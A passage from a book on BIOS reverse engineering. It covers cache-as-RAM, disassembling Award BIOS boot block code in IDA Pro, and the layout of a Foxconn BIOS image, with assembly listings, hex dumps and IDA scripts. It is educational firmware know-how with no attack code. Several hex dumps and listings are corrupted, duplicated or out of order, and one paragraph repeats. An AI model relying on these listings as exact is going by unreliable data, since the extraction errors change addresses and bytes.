<td></td>
<td>DRAM type = SDRAM</td>
</tr>
<tr>
<td>F000:6015</td>
<td>F000_6000_write_pci_byte proc</td>
</tr>
<tr>
<td></td>
<td>near</td>
</tr>
<tr>
<td>F000:6015</td>
<td>xchg ax, cx</td>
</tr>
<tr>
<td></td>
<td>; cx = addr; ax = data</td>
</tr>
<tr>
<td>F000:6016</td>
<td>shl ecx, 10h</td>
</tr>
<tr>
<td>F000:601A</td>
<td>xchg ax, cx</td>
</tr>
<tr>
<td>F000:601B</td>
<td>mov eax, 80000000h</td>
</tr>
<tr>
<td>F000:6021</td>
<td>mov ax, cx</td>
</tr>
<tr>
<td>F000:6023</td>
<td>and al, 0FCh</td>
</tr>
<tr>
<td>F000:6025</td>
<td>mov dx, 0CF8h</td>
</tr>
<tr>
<td>F000:6028</td>
<td>out dx, eax</td>
</tr>
<tr>
<td>F000:602A</td>
<td>mov dl, 0FCh</td>
</tr>
<tr>
<td>F000:602C</td>
<td>or dl, cl</td>
</tr>
<tr>
<td>F000:602E</td>
<td>mov eax, ecx</td>
</tr>
<tr>
<td>F000:6031</td>
<td>shr eax, 10h</td>
</tr>
<tr>
<td></td>
<td>; Retrieve original data in ax</td>
</tr>
<tr>
<td>F000:6035</td>
<td>out dx, al</td>
</tr>
<tr>
<td></td>
<td>; Write the value</td>
</tr>
<tr>
<td>F000:6036</td>
<td>retn</td>
</tr>
<tr>
<td>F000:6036</td>
<td>F000_6000_write_pci_byte endp</td>
</tr>
</tbody>
</table>

In listing 4.5, the `retn` instruction at address F000:6036 will work in the end of `F000_6000_write_pci_byte` execution if `ss:sp` points to `0xF_61D1`. Indeed, it has been done, because the `ss` register contains `0xF_0000` in its descriptor cache base address part. Moreover, as you can see, `sp` contains `61D1h`. Hence, the physical address pointed to by `ss:sp` is `F_0000h+61D1h`, which is the `F_61D1h` physical address.

### 4.3.3. Cache-as-RAM

Another interesting anomaly in the BIOS code is the so-called cache-as-RAM. Cache-as-RAM is accomplished by using the processor cache as a stack during BIOS code execution in the BIOS ROM chip, before the availability of RAM. Note that RAM cannot be used before the boot block code tests the existence of RAM. Thus, stack operation must be carried out in a cumbersome way, such as using the `ROM_CALL` macro, as you saw in the previous section.

---

25 Stack operation is the execution of instructions that manipulate stack memory, such as push, pop, call, and rets.
Cache-as-RAM usually exists as part of the boot block code. It resolves the lack of RAM to be used as stack memory in the beginning of BIOS code execution. It's not a common feature. It's only supported on recent processors and the BIOS. Cache-as-RAM implementations can be found in Award BIOS for AMD64 motherboards. In listing 4.6, I provide a sample implementation from the disassembled boot block of a Gigabyte K8N SLI motherboard. The release date of the corresponding BIOS is March 13, 2006.

Listing 4.6 Cache-as-RAM Implementation Sample

```
F000:0022 start_cache_as_RAM:
F000:0022   mov   bx, offset cache_as_RAM_init_done ; bx = return offset
F000:0025   jmp   word ptr cs:[di+2] ; jmp to init_cache_as_ram
F000:0029
F000:0029 cache_as_RAM_init_done:
F000:0029   jnb   short cache_as_RAM_ok
F000:002B   add   di, 0Eh
F000:002E   inc   cx
F000:002F   cmp   cx, 1
F000:0033   jnz   short start_cache_as_RAM
F000:0035   mov   al, 0FEh
F000:0037   out   80h, al          ; Manufacturer's diagnostic checkpoint
F000:0039   mov   dx, 1080h
F000:003C   out   dx, al
F000:003D   mov   bp, 0FEh
F000:0040   jmp   short prepare_to_exit
F000:0042
F000:0042 cache_as_RAM_ok:
F000:0042   mov   word ptr ds:0, 5243h
F000:0048   push  word ptr ds:9Fh  ; This push instruction uses
F000:0048                          ; the cache-as-RAM stack
F000:004C   push  word ptr ds:0A3h
F000:0050   mov   si, 14h
F000:0053   mov   ds:9Fh, si
F000:0057   mov   si, 265h
F000:005A   mov   ds:0A3h, si
F000:005E   mov   si, 18Dh
F000:0061   call  sub_F000_86      ; This call instruction is using
F000:0061                          ; the cache-as-RAM stack to work
F000:0066   pop   word ptr ds:0A3h
F000:0068   pop   word ptr ds:9Fh
........
F000:0522 init_cache_as_ram:
........
F000:0535   mov   si, offset chk_uP_done
F000:0538   jmp   short is_Authentic_AMD
F000:053A
F000:053A chk_uP_done:
F000:053A   jb    not_Authentic_AMD
F000:053E   mov   dx, 10h       ; dx = selector number to choose from GDT
F000:0541   mov   bx, 547h
```

F000:0544   jmp   enter_voodoo_mode

..........
F000:0590   xor   edx, edx
F000:0593   wrmsr
F000:0595   xor   eax, eax
F000:0598   cdq                    ; edx = eax
F000:059A   mov   ecx, 20Fh
F000:059F   xor   edx, edx
F000:05A0   is_MSR_200h:
F000:05A0   wrmsr
F000:05A2   cmp   cx, 200h
F000:05A4   loopne is_MSR_200h
F000:05A8   mov   cx, 259h
F000:05AE   mov   cx, 26Fh
F000:05B0   is_MSR_268h:
F000:05B0   wrmsr
F000:05B2   cmp   cx, 268h
F000:05B4   loopne is_MSR_268h
F000:05B8   mov   eax, 18181818h
F000:05BB   mov   edx, eax
F000:05C1   mov   cx, 250h
F000:05C4   wrmsr
F000:05C6   mov   cx, 258h
F000:05C9   wrmsr
F000:05CB   mov   edx, 6060606h    ; cache state = write-back
F000:05CD   cmp   cx, 26Bh         ; MTRRfix4K_D8000
F000:05D0   wrmsr
F000:05D2   mov   eax, 5050505h    ; cache state = write-protect
F000:05D4   wrmsr
F000:05D6   mov   ecx, 0C0010010h  ; MTRRfix4K_E0000
F000:05DC   rdmsr
F000:05DF   or    eax, 140000h   ; MTRRfix4K_E8000
F000:05E0   wrmsr
F000:05E2   inc   cx               ; MTRRfix4K_F0000
F000:05E3   wrmsr
F000:05E5   inc   cx               ; MTRRfix4K_F8000
F000:05E6   wrmsr
F000:05E8   inc   cx
F000:05E9   wrmsr
F000:05E8   mov   ecx, 0C0010010h
F000:05F1   rdmsr
F000:05F3   or    eax, 140000h
F000:05F9   wrmsr
F000:05FB   mov   ecx, 2FFh
F000:0601   rdmsr
F000:0603   movd  mm4, eax
F000:0606   pinsrw mm4, edx, 2
F000:060A   ror   edx, 10h
F000:060D   pinsrw mm4, edx, 3
F000:0612   ror   edx, 10h
Listing 4.6 shows a cache-as-RAM sample implementation in an AMD64-based motherboard. The code is self-explanatory. The most important trick is shown at address F000:0646, where 16 KB of undefined data is "streamed" into the cache, forcing the content of the cache to update and forcing the cache to point to the address range assigned as the cache-as-RAM. At address F000:0665, the code sets up the stack at the predefined cache-as-RAM address, effectively using the cache as the stack for the next code within the boot block.
4.4. BIOS Disassembling with IDA Pro

You obtained enough skills in chapter 2 to use IDA Pro efficiently, and you know from previous sections the big picture of the BIOS binary structure. In this part, I provide you with the basic steps to carry out systematic BIOS reverse engineering based on that knowledge.

Disassembling a BIOS is stepping through the first instructions that the processor executes. Thus, the following steps are guidelines:

1. Start the disassembling in the reset vector of the processor. The reset vector is the address of the first instruction that a processor executes. In the case of x86, it is 0xFFFF_0000.

2. From the reset vector, follow through the boot block execution paths. One path will end with a hang; this is where an error is found during boot block execution. Look for the path that doesn't end with a hang. The latter path will guide you through the system BIOS decompression process and will jump into the system BIOS once the boot block finished. You can emulate the decompression process by using IDA Pro scripts or plugins. Alternatively, if the decompressor for the compressed BIOS components is available, it can be used to decompress the system BIOS; then the decompressed system BIOS is integrated into the current IDA Pro disassembly database.

3. Follow the system BIOS execution until you find the POST execution. In some BIOSs, the POST execution consists of jump tables. You just need to follow the execution of this jump table to be able to see the big picture.

The preceding steps are applicable to any type of BIOS or other x86 firmware that replaces the functionality of the BIOS, such as in routers or kiosks based on embedded x86 hardware.
Chapter 5 Implementation of Motherboard BIOS

PREVIEW

This chapter explains how the BIOS vendor implements BIOS. It researches the compression algorithm used by BIOS vendors and the formats of the compressed components inside the BIOS binary. It also dissects several BIOS binary files from different vendors so that you can discover their internal structure.

5.1. Award BIOS

This section dissects an Award BIOS binary. Use the BIOS for the Foxconn 955X7AA-8EKRS2 motherboard as sample implementation. It's Award BIOS version 6.00PG dated November 11, 2005. The size of the BIOS is 4 Mb/512 KB.

5.1.1. Award BIOS File Structure

An Award BIOS file consists of several components. Some of them are LZH level-1 compressed. You can recognize them by looking at the -lh5- signature in the beginning of that component by using a hex editor. An example is presented in hex dump 5.1.

Hex dump 5.1 Compressed Award BIOS Component Sample

<table>
<thead>
<tr>
<th>Address</th>
<th>Hex</th>
<th>ASCII</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000000</td>
<td>25F2 2D6C 6835 2D85 3A00 00C0 5700 0000 %.-lh5-.:...W...</td>
<td></td>
</tr>
<tr>
<td>00000010</td>
<td>0000 4120 010C 6177 6172 6465 7874 2E72 ..A ..awardext.r</td>
<td></td>
</tr>
<tr>
<td>00000020</td>
<td>6F6D DB74 2000 002C F88E FBDF DD23 49DB cm.t ......$l</td>
<td></td>
</tr>
</tbody>
</table>

Beside the compressed components, there are pure 16-bit x86 binary components. Award BIOS execution begins in one of these pure binary\(^1\) components. The general structure of a typical Award BIOS binary as follows:

- **Boot block.** The boot block is a pure binary component; thus, it's not compressed. The processor starts execution in this part of the BIOS.
- **Decompression block.** This is a pure binary component. Its role is to carry out the decompression process for the compressed BIOS components.

---

\(^1\) Pure binary refers to the component that is not compressed.
• **System BIOS.** This is a compressed part. Its role is to initialize the system by doing POST and calling other BIOS modules needed for system-wide initialization. In the old days, this component is always named original.tmp. Today's Award BIOS doesn't use that name. Nevertheless, the BIOS hacking and modification community often refers to this component as original.tmp.

• **System BIOS extension.** This component is compressed. Its role is as a "helper" module for the system BIOS.

• **Other compressed components.** These components are system dependent and mainly used for onboard device initialization, boot-sector antivirus, etc.

As per the *IA-32 Intel Architecture Software Developer's Manual Volume 3: System Programming Guide 2004*, we know that the x86 processor starts its execution in 16-bit real mode at address 0xF000:0xFFF0 following restart or power-up. Hence, this address must contain 16-bit real-mode x86 executable code. It's true that 0xF000:0xFFF0 contains the pure binary component of the BIOS, i.e., the boot block code. The boot block resides in the highest address range in the system memory map among the BIOS components, as previously shown in figure 4.7.

Before delving into the compressed components and the pure binary components of this particular Award BIOS, you need to know how the binary is mapped into the system address space. Figure 5.1 is the starting point.

---

2 0xF000:0xFFF0 is an alias to the reset vector at 0xFFFFFFF0. It's the chipset that carries out the aliasing for backward compatibility purposes.
Figure 5.1 Foxconn 955X7AA-8EKRS2 BIOS Mapping to System Address Map

Figure 5.1 shows clearly the address aliasing for the last two segments of the Award BIOS. Segment E000h is an alias to FFFF_0000h, and segment F000h is an alias to FFFF_0000h. Apart from the aliasing, note that the 512-KB BIOS chip occupies the last 512-KB address range right below 4 GB. Now, check out the mapping of the BIOS binary in the system address map and its relation with the BIOS binary mapping in a hex editor. You need to know this mapping to be able to modify the BIOS binary. Figure 5.2 shows such a mapping.
Figure 5.2 Foxconn 955X7AA-SEKRS2 BIOS mapping within a hex editor

Figures 5.1 and 5.2 are tightly coupled. Thus, you must remember that the last 128 KB of the BIOS binary is mapped into the 60000h–7FFFFh address range in the hex editor and to the E0000h–F0000h address range in system address map. Note that this mapping only applies just after power-on. It's the default power-on value for the chipset. It's not guaranteed to remain valid after the chipset is reprogrammed by the BIOS. However, the mapping in figures 5.1 and 5.2 applies while the BIOS code execution is still in the boot block and hasn't been copied to RAM.

Look at the details of the mapping of compressed components in Foxconn Award BIOS inside a hex editor. The mapping is as follows:

1. _0_0000h–1_4DE8h: 4bgf1p50.bin. This is the system BIOS.
2. 1_4DE9h–1_E2FEh: awardext.rom. This is an extension to the system BIOS. The routines within this module are called from the system BIOS.
3. 1_E2FFh–1_FE30h: acpitbl.bin. This is the advanced configuration and power interface table.
4. _1_FE31h–2_00DBh: awardbmp.bmp. This is the award logo.
5. 2_00DBh–2_5A16h: awardey.rom. This component is also an extension to the system BIOS.
6. 2_5A17h–2_7F7Bh: _en_code.bin. This module stores the words used in the BIOS code.
7. 2_7F7Ch–2_8BB0h: _item.bin. This module contains the values related to items in the BIOS setup menu.
8. 2_8BB1h–2_FF3Dh: 5209.bin. This is an expansion ROM for an onboard device.
9. 2_FF3Eh–3_62D8h: it8212.bin. This is an expansion ROM for an onboard device.
10. 3_62D9h–3_FA49h: b5789pxe.lom. This is an expansion ROM for an onboard device.
11. 3_FA4Ah–4_8FDCh: raid_or.bin. This is an expansion ROM for the RAID controller.
12. 4_8FDCh–4_CF6Bh: cprfv118.bin. This is an expansion ROM for an onboard device.
13. 4_C86Ch–4_D396h: ppminit.rom. This is an expansion ROM for an onboard
device.
14. 4_D397h–4_E381h: \Foxconn.bmp. This is the Foxconn logo.
15. 4_E382h–4_F1D0h: \64n8iip.bmp. This is another logo displayed during boot.

After the last compressed component there are padding FFh bytes. An example of
these padding bytes is shown in hex dump 5.2.

Hex dump 5.2 Padding Bytes after Compressed Award BIOS Components

<table>
<thead>
<tr>
<th>Address</th>
<th>Hex</th>
<th>ASCII</th>
</tr>
</thead>
<tbody>
<tr>
<td>0004F1A0</td>
<td>6DF6F87D8B5B368B64B4B4B0054</td>
<td>f.o...-U.h.KKK.T</td>
</tr>
<tr>
<td>0004F1B0</td>
<td>A44026328A29252525A5EB18306021</td>
<td>...2.)%%.0`!</td>
</tr>
<tr>
<td>0004F1C0</td>
<td>0A3A3AB5A5F7ADB5AB5O4A0</td>
<td>;;Y..j.z.V.T..</td>
</tr>
<tr>
<td>0004F1D0</td>
<td>00FFFFFFFFFFFFFFF</td>
<td>...</td>
</tr>
</tbody>
</table>

The compressed components can be extracted easily by copying and pasting it into
a new binary file in Hex Workshop. Then, decompress this new file by using LHA 2.55 or
WinZip. If you are into using WinZip, give the new file an .lz extension so that it will be
automatically associated with WinZip. Recognizing where you should cut to obtain the new
file is easy. Just look for the -lh5- string. Two bytes before the -lh5- string is the
beginning of the file, and the end of the file is always 00h, right before the next compressed
file, the padding bytes, or some kind of checksum. As an example, look at the beginning
and the end of the compressed awardext.rom in the current Foxconn BIOS as seen within a
hex editor. The bytes highlighted in yellow are the beginning of the compressed file, and
the bytes highlighted in green are the end of compressed awardext.rom.

Hex dump 5.3 Compressed Award BIOS Component Header Sample

<table>
<thead>
<tr>
<th>Address</th>
<th>Hex</th>
<th>ASCII</th>
</tr>
</thead>
<tbody>
<tr>
<td>00014DE0</td>
<td>6CA01104B000 3E25 1E2D6C68352D0004F1A0</td>
<td>l........%.-lh5-</td>
</tr>
<tr>
<td>00014DF0</td>
<td>0EC9000040DC00000007F402001OC61</td>
<td>...@......@...a</td>
</tr>
<tr>
<td>00014E00</td>
<td>77E17264657872E726F6D20000</td>
<td>wardext.rom,..</td>
</tr>
<tr>
<td>00014E10</td>
<td>2C008E77EE12155EFF7DE739CC</td>
<td>CCC,..~..S^-}9...</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Address</th>
<th>Hex</th>
<th>ASCII</th>
</tr>
</thead>
<tbody>
<tr>
<td>0001E2F0</td>
<td>ADAB0F89A8B5D0FA84EB</td>
<td>16820B24232D............$#-</td>
</tr>
<tr>
<td>0001B300</td>
<td>6C68352D0D1B0000FC4700000340</td>
<td>lh5......G.....8</td>
</tr>
<tr>
<td>0001E510</td>
<td>20010B414350495442AC2E42494E</td>
<td>F3CD..ACPITBL.BIN..</td>
</tr>
</tbody>
</table>

In the preceding hex dump, the last byte before the beginning of the compressed
awardext.rom is not an end-of-file marker, i.e., not 00h, even though the component is also

---

3 The -lh5- marker in its beginning also marks the next compressed file.
4 The end-of-file marker is a byte with 00h value.
in compressed state. The compressed component preceding awardext.rom is the compressed system BIOS, and the byte highlighted in pink is a custom checksum that follows the end-of-file marker for this compressed system BIOS. Other compressed components always end up with an end-of-file marker, and no checksum byte precedes the next compressed component in the BIOS binary.

Proceed to the pure binary component of the Foxconn BIOS. The mapping of this pure binary component inside the hex editor as follows:

1. 6_A9C0h–6_BFFEh: The decompression block. This routine contains the LZH decompression engine
2. 7_E000h–7_FFFFh: This area contains the boot block code.

Between of the pure binary components lay padding bytes. Some padding bytes are FFh bytes, and some are 00h bytes.

5.1.2. Award Boot Block Reverse Engineering

This section delves into the mechanics of boot block reverse engineering. The boot block is the key into overall insight of the motherboard BIOS. Understanding the reverse engineering tricks needed to reverse engineer the boot block is valuable, because these techniques tend to be applicable to BIOS from different vendors. From this point on, I disassemble the boot block routines. Now, I'll present some obscure and important areas of the BIOS code in the disassembled boot block of the Foxconn 955X7AA-8EKRS2 motherboard BIOS dated November 11, 2005. In section 2.3 you learned how to start disassembling a BIOS file with IDA Pro. I won't repeat that information here. All you have to do is open the 512-KB file in IDA Pro and set the initial load address to 8_0000h–F_FFFFh. Then, create new segments at FFF8_0000h–FFFFD_FFFFh and relocate the contents of 8_0000h–D_FFFFh to that newly created segment to mimic the mapping of the BIOS binary in the system address map. You can use the IDA Pro script in listing 5.1 to accomplish this operation. The script in listing 5.1 must be executed directly in the IDA Pro workspace scripting window that's called with Shift+F2 shortcut. You can add the appropriate include statements if you wish to make it a standalone script in an ASCII file, as you learned in chapter 2.

Listing 5.1 IDA Pro Relocation Script for Award BIOS with a 512-KB File

```c
auto ea, ea_src, ea_dest;

/* Create segments for the currently loaded binary */
for(ea=0x80000; ea<0x100000; ea = ea+0x10000)
{
    SegCreate(ea, ea+0x10000, ea>>4, 0,0,0);
}

/* Create new segments for relocation */
```
for(ea=0xFFF80000; ea<0xFFFFE0000; ea = ea+0x10000)
{
SegCreate(ea, ea+0x10000, ea>>4, 0,0,0);
}

/* Relocate segments */
ea_src = 0x80000;
for(ea_dest=0xFFF80000; ea_dest<0xFFFFE0000; ea_dest = ea_dest+4)
{
PatchDword(ea_dest, Dword(ea_src));
ea_src = ea_src + 4;
}

/* Delete unneeded segments to mimic the system address map */
for(ea=0x80000; ea<0xE0000; ea = ea+0x10000)
{
SegDelete(ea, 1);
}

Note that if you have the IDA Pro 64-bit version, you can directly load the Foxconn Award BIOS code to the FFF8_0000h–FFFF_FFFFh address range and copy only E_seg and F_seg to the legacy BIOS area in the E_0000h–F_FFFFh address range.

After the relocation, start the disassembly at address F000:F7F0h, i.e., the reset vector. I'm not going to present the whole disassembly here, only the disassembly of the "sharp corners" in the boot block execution, the places where you might become lost in this boot block reverse-engineering journey. In addition, I will provide the disassembly of codes that provide hints.

5.1.2.1. Boot Block Helper Routine

Listing 5.2 Disassembly of the PCI Configuration Support Routine

<table>
<thead>
<tr>
<th>Address</th>
<th>Mnemonic</th>
</tr>
</thead>
<tbody>
<tr>
<td>F000:F770</td>
<td>read_pci_byte proc near</td>
</tr>
<tr>
<td>F000:F770</td>
<td>mov  ax, 8000h</td>
</tr>
<tr>
<td>F000:F773</td>
<td>shl  eax, 10h</td>
</tr>
<tr>
<td>F000:F777</td>
<td>mov  ax, cx</td>
</tr>
<tr>
<td>F000:F779</td>
<td>and  al, 0FCH</td>
</tr>
<tr>
<td>F000:F77B</td>
<td>mov  dx, 0CF8h</td>
</tr>
<tr>
<td>F000:F77E</td>
<td>out  dx, eax</td>
</tr>
<tr>
<td>F000:F780</td>
<td>add  dl, 4</td>
</tr>
<tr>
<td>F000:F783</td>
<td>mov  al, cl</td>
</tr>
<tr>
<td>F000:F785</td>
<td>and  al, 3</td>
</tr>
<tr>
<td>F000:F787</td>
<td>add  dl, al</td>
</tr>
<tr>
<td>F000:F789</td>
<td>in   al, dx</td>
</tr>
<tr>
<td></td>
<td>ret</td>
</tr>
</tbody>
</table>

F000:F78A read_pci_byte endp
5.1.2.2. Chipset Early Initialization Routine

The routine in this subsection initializes the memory-mapped root complex register block (RCRB) used by the various functions and devices within the PCI Express chipset. These routines are important because they indicate which memory address ranges are used by the chipset registers. So you can tell if a particular read or write transaction into some arbitrary memory address range is a PCI Express enhanced configuration transaction or not. Some abbreviations are used in the comments of listing 5.3:

- PCI EX refers to PCI Express.
- Bxx:Dxx:Fxx refers to Bus xx: Device xx: Function xx. This is used to address devices in the PCI bus or PCI Express bus because the PCI Express bus is backward compatible with the PCI configuration mechanism.
- BAR refers to the base address register.
- Ctrl refers to the controller.

Listing 5.3 Disassembly of the Chipset Early Initialization Routine

```
F000:F78C write_pci_byte proc near
F000:F78C  xchg  ax, cx
F000:F78D  shl  ecx, 10h
F000:F791  xchg ax, cx
F000:F792  mov ax, 8000h
F000:F795  shl eax, 10h
F000:F799  mov ax, cx
F000:F79B  and al, 0FCh
F000:F79D  mov dx, 0CF8h ; dx = PCI-configuration-address port
F000:F7A0  out dx, eax
F000:F7A2  add dl, 4     ; dx = PCI-configuration-data port
F000:F7A5  mov al, cl
F000:F7A7  and al, 3
F000:F7A9  add dl, al
F000:F7AB  mov eax, ecx
F000:F7AE  shr eax, 10h
F000:F7B2  out dx, al    ; Write value to the register
F000:F7B3  retn
F000:F7B3 write_pci_byte endp
```
F000:F60D ; -----------------------------------------------
F000:F610 dw 0F612h
F000:F612 ; ------------------------------------------
F000:F612 and  al, cs:[si+2]
F000:F616 or  al, cs:[si+3]
F000:F61A mov sp, 0F620h
F000:F61D jmp write_pci_byte
F000:F61D ; ----------------------------------------------------------
F000:F620 dw 0F622h
F000:F622 ; ------------------------------------------
F000:F622 add si, 4
F000:F625 cmp si, 0F744h
F000:F629 jnz short next_reg
F000:F62B mov cx, 0F8F0h ; root-complex mem-base-addr for B0:D31
F000:F62E mov sp, 0F634h
F000:F631 jmp read_pci_byte
F000:F631 ; ------------------------------------------
F000:F634 dw 0F636h
F000:F636 ; ------------------------------------------
F000:F636 mov eax, 0FED1C001h ; ICH7 root-complex mem-base-addr =
F000:F636 0xFED1_C000
F000:F63C out dx, eax
F000:F63E mov cx, 48h ; 'H' ; PCI EX BAR for B0:D0
F000:F641 mov sp, 0F647h
F000:F644 jmp read_pci_byte
F000:F644 ; ------------------------------------------
F000:F647 dw 0F649h
F000:F649 ; ------------------------------------------
F000:F649 in al, dx
F000:F64A or al, 1 ; Enable PCI EX address decoding
F000:F64C out dx, al
F000:F64D mov cx, 40h ; '0' ; Egress PORT BAR
F000:F650 mov sp, 0F656h
F000:F653 jmp read_pci_byte
F000:F653 ; ------------------------------------------
F000:F656 dw 0F658h
F000:F658 ; ------------------------------------------
F000:F658 mov eax, 0FED19001h ; HostBridge egress port mem-base-addr
F000:F658 0xFED1_9000
F000:F65E out dx, eax
F000:F660 mov cx, 4Ch ; 'L' ; DMI Port BAR
F000:F663 mov sp, 0F669h
F000:F666 jmp read_pci_byte
F000:F666 ; ------------------------------------------
F000:F669 dw 0F66Bh
F000:F66B ; ------------------------------------------
F000:F66B mov eax, 0FED18001h ; HostBridge DMI port mem-base-addr =
F000:F66B 0xFED1_8000
F000:F671 out dx, eax
F000:F673 mov cx, 8EC0h
F000:F676 mov sp, 0F67Ch
F000:F679  jmp  read_pci_byte
F000:F679  ; ----------------------------------------------
F000:F679  dw  0F67Eh
F000:F67E  and  al, 0F8h
F000:F680  or  al, 1
F000:F682  mov  sp, 0F688h
F000:F685  jmp  write_pci_byte
F000:F685  ; ----------------------------------------------
F000:F688  dw  0F68Ah
F000:F68A  ; ----------------------------------------------
F000:F68A  mov  si, 54Fh
F000:F68D  lgdt  qword ptr cs:[si]
F000:F691  mov  eax, cr0
F000:F694  or  al, 1
F000:F696  mov  cr0, eax
F000:F699  jmp  short $+2
F000:F69B  mov  ax, 10h
F000:F69E  mov  es, ax
F000:F6A0  assume es:nothing
F000:F6A0  mov  bx, 0F6A6h
F000:F6A3  jmp  init_MCH_ICH7_PCI_ex_regs
F000:F6A6  ; ----------------------------------------------
F000:F6A6  mov  eax, cr0
F000:F6A9  and  al, 0FEh
F000:F6AB  mov  cr0, eax
F000:F6AE  jmp  short $+2
F000:F6B0  shr  esp, 10h
F000:F6B4  clc
F000:F6B5  retn
F000:F6B5  chipset_early_init endp

........
F000:F6D8  Begin_Chipset_Cfg

........
F000:F6E2  dw  0FB20h  ; D31:F3 - SMBus ctrlr
F000:F6E2  db  0      ; and mask
F000:F6E3  db  0      ; or mask
F000:F6E4  dw  0FB21h  ; D31:F3 - SMBus ctrlr
F000:F6E6  db  0      ; and mask
F000:F6E7  db  5      ; SMBus base at 500h
F000:F6E8  dw  0FB40h  ; D31:F3 - SMBus ctrlr
F000:F6EA  db  0      ; and mask
F000:F6EB  db  1      ; SMBus host enable
F000:F6EC  dw  0FB04h  ; D31:F3 - SMBus ctrlr
F000:F6EE  db  0      ; and mask
F000:F6EF  db  3      ; or mask
F000:F6F0  dw  0F841h  ; D31:F0 - LPC bridge
F000:F6F2  db  0      ; and mask
F000:F6F3  db  4      ; ACPI I/O base at 400h
F000:F6F4  dw  0F844h  ; D31:F0 - LPC bridge
F000:F6F6  db  0      ; and mask
5.1.2.3. Super I/O Chip Initialization Routine

The routine in listing 5.4 configures the super I/O chip through the LPC interface in ICH7. Perhaps it's not too obvious in the first sight. You can consult the ICH7 datasheet section 6.3.1, "Fixed I/O Address Ranges." Table 6.2 in that datasheet mentions the usage of port address 2Eh as the low pin count super I/O (LPC SIO), which means the LPC super I/O address.

Listing 5.4 Disassembly of the Super I/O Initialization Routine

```
F000:E1C0 Begin SuperIO configuration values
F000:E1C0 dw 0C424h ;
F000:E1C2 dw 29h  ;
F000:E1C4 dw 7C2Ah ;
F000:E1C6 dw 0C02Bh ;
F000:E1C8 dw 12Bh  ;
F000:E1CA dw 7    ;
F000:E1CC dw 130h ;
F000:E1CE dw 0EF0h ;
F000:E1D0 dw 107h ;
F000:E1D2 dw 130h ;
F000:E1D4 dw 507h ;
F000:E1D6 dw 130h ;
F000:E1D8 dw 60h  ;
F000:E1DA dw 6061h ;
F000:E1DC dw 62h  ;
F000:E1DE dw 6463h ;
F000:E1E0 dw 170h ;
F000:E1E2 dw 0C72h ;
F000:E1E4 dw 80F0h ;
F000:E1E6 dw 707h ;
F000:E1E8 dw 130h ;
F000:E1EA dw 60h  ;
F000:E1EC dw 61h  ;
F000:E1EE dw 62h  ;
F000:E1F0 dw 63h  ;
F000:E1F2 dw 70h  ;
F000:E1F4 dw 807h ;
F000:E1F6 dw 907h ;
F000:E1F8 dw 130h ;
F000:E1FA dw 860h ;
```
5.1.2.4. Jump to CMOS Values and Memory Initialization

Listing 5.5 Disassembly of CMOS Values Initialization and Memory Initialization

F000:E1A8 continue:
F000:E1AA mov al, 0C0h
F000:E1AC mov sp, 0E1B0h
F000:E1AF ret
These routines are bizarre; the BBSS string seems to represent something related to decompression. However, Award BIOS source code that leaked on the web circa 2002 shows that the BBSS string stands for Boot Block Structure Signature. These routines initialize the DRAM area needed for BIOS execution and other various devices needed for the later BIOS execution task.

Listing 5.6 Disassembly of the BBSS Search and Early Memory Test Routines

These routines are bizarre; the BBSS string seems to represent something related to decompression. However, Award BIOS source code that leaked on the web circa 2002 shows that the BBSS string stands for Boot Block Structure Signature. These routines initialize the DRAM area needed for BIOS execution and other various devices needed for the later BIOS execution task.
F000:E33C   mov   ax, [si]
F000:E33E   mov   bx, ax
F000:E340   ror   ax, 4
F000:E343   mov   ds, ax
F000:E345   assume ds:nothing
F000:E345   mov   sp, 0E34Bh
F000:E348   jmp   sub_F000_F
F000:E34B   dw 0E34Bh
F000:E34D   ; -------------------------------------------
F000:E34E   dw 0E34Dh
F000:E34F   mov   ecx, 26Eh
F000:E355   mov   eax, 50505050h
F000:E35B   mov   edx, eax
F000:E35E   wrmsr
F000:E360   inc   cl
F000:E362   wrmsr
F000:E364   mov   eax, 0C00h
F000:E366   mov   ecx, 2FFh
F000:E370   xor   edx, edx
F000:E373   wrmsr
F000:E375   wbinvd
F000:E377   mov   eax, cr3
F000:E37A   mov   cr3, eax
F000:E380   and   eax, 9FFFFFFFh
F000:E386   mov   cr0, eax
F000:E389   wbinvd
F000:E38B   xor   ah, ah
F000:E38D   xor   si, si
F000:E391   dec   cx
F000:E392   xor   si, si
F000:E394   db   2Eh
F000:E395   mov   ax, ax
F000:E397   db   2Eh
F000:E398   mov   ax, ax
F000:E39A   db   2Eh
F000:E39C   mov   ax, ax
F000:E39E   db   2Eh
F000:E3A0   mov   ax, ax
F000:E3A2   xor   ah, ah
F000:E3A4   loop  next_lower_byte
F000:E3A7   jnz   short no_valid_BBSS
F000:E3A9   exec_BBSS:
F000:E3A9   mov   sp, 0E380h
F000:E3AC   jmp   dword ptr ds:2 ; bare_memory_engine @ E600:458
F000:E3B0   dw 0E3B0h
The BBSS "engine" is found using the following script:

Listing 5.7 IDA Pro Script to Search for the BBSS String

```c
#include <idc.idc>

static main(void)
{
    auto ea, si, ds ;

    ea=0xEFFF0;

    for( ; ea > 0xE0000 ; ea = ea - 0x10 )
    {
        if(Dword(ea) == 'SBB*')
        {
            Message("BBSS found at 0x%X\n", ea);
            si = (ea & 0xFFFF) + 6;
        }
    }
}
```
The result of the execution of the script in listing 5.7 is as follows:

Compiling file 'D:\Reverse_Engineering_Project\Foxconn_955X7AA-8EKRS2\idc_scripts\bbss.idc'...
Executing function 'main'...
BBSS found at 0xEB530
on-exit, si = 0xB536
[si+19] = 0xFFFF
SearchBBSS 2nd-pass
ds = 0xE600
BBSS routine entry: 0xE6000458
SearchBBSS 3rd-pass
[si+0xE] = 0xB0F4

These results are then used as a basis to jump into the right BBSS "engine" address. Then the next routine is the BBSS routine itself.

Listing 5.8 BBSS Routine Disassembly

E600:0458 BBSS :
E600:0458 mov ax, cs
E600:0459 mov ss, ax
E600:045C assume ss:BBSS
E600:045C mov bx, sp
E600:045E movd mm2, esp
E600:0461 mov ax, fs
E600:0463 ror eax, 10h
E600:0467 mov ax, gs
E600:0469 movd mm1, eax
E600:046C xor al, al
E600:046E mov dx, 400h
E600:0471 out dx, al
E600:0472 inc dl
E600:0474 out dx, al
E600:0475 mov eax, cr4
E600:0478 or eax, 200h
E600:047E mov cr4, eax
E600:0481  jmp  bbss_1
........
E600:0489  bbss_1:
E600:0489  mov  si, 4870h
E600:0489  mov  dh, 4
........
E600:048B  jnz  short  loc_E600_489D
E600:048B  jmp  bbss_2
........
E600:0484  bbss_2:
E600:0484  mov  dx, 500h
